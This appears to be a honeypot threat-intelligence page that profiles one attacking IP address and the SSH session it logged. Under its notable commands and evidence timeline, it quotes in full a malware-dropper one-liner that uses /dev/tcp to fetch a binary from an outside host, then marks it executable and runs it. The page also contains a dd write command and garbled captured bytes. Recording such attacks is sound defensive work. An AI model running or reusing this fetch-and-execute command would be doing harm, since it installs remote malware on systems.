← Back to feed
Location
🇸🇬 SG
ASN
AS45102 · Alibaba (US) Technology Co., Ltd.
Cloud Provider
—
Total Events
14
Average by volume
Agent Count
1
First / Last Seen
2026-07-22 05:53 — 2026-07-22 05:53
Attack Types
MITRE ATT&CK Techniques
Initial Access
Execution
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
Not associated with any campaigns
Session Forensics
Sessions
1 (1 with login)
Avg Depth Score
1.0
Commands Executed
5
Files Downloaded
1
Notable Commands
- nohup bash -c "exec 6<>/dev/tcp/8.219.201.139/60134 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/8ppqcg9R7y && chmod +x /tmp/8ppqcg9R7y && /tmp/8ppqcg9R7y ybrZJu038CzHo8XLt8Ek7zTsNM+jz8y02SbuMfAlxLTHy73GJ+og5jrFvMTTvMQk8DHnIs27zcy9xjTmLuwmxaPMxLTZJeo45CLHvM/ErcYt7S7sJ9m/zMyjxSXpOugkxr3I3bXZJu858CbEvtPPvM4u6DDvJ8WtxdO/xi3wN+86xrTFx7vHJeo1/iDAo8/Ivdkl6jjwJsO9x8u9xiTmIO8kxKPMzbzZJesz8CbAt8vNvMck/jTpOsW+y9O8xSbwN+wuwb3Mz75wTgIkzHkSMPXDjQs=" &
- dd bs=1 count=1911588 > /tmp/snlfHc3gMY
- nohup bash -c "exec 6<>/dev/tcp/8.219.201.139/60134 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/8ppqcg9R7y && chmod +x /tmp/8ppqcg9R7y && /tmp/8ppqcg9R7y ybrZJu038CzHo8XLt8Ek7zTsNM+jz8y02SbuMfAlxLTHy73GJ+og5jrFvMTTvMQk8DHnIs27zcy9xjTmLuwmxaPMxLTZJeo45CLHvM/ErcYt7S7sJ9m/zMyjxSXpOugkxr3I3bXZJu858CbEvtPPvM4u6DDvJ8WtxdO/xi3wN+86xrTFx7vHJeo1/iDAo8/Ivdkl6jjwJsO9x8u9xiTmIO8kxKPMzbzZJesz8CbAt8vNvMck/jTpOsW+y9O8xSbwN+wuwb3Mz75wTgIkzHkSMPXDjQs=" &0O0O6(6(Qtd?UPX!
- >D6@/XJ'8
- CMD:
Fingerprints
HASSH
SSH Client
Evidence Timeline
Malware Dropper
1c048148c14c
LOGIN
5
1
2
100%
Loading events...
HASSH 2f5ebb184f5d023…
SSH-2.0-makiko
$ nohup bash -c "exec 6<>/dev/tcp/8.219.201.139/60134 && echo…$ dd bs=1 count=1911588 > /tmp/snlfHc3gMY$ nohup bash -c "exec 6<>/dev/tcp/8.219.201.139/60134 && echo…$ >D6@/XJ'8$ CMD: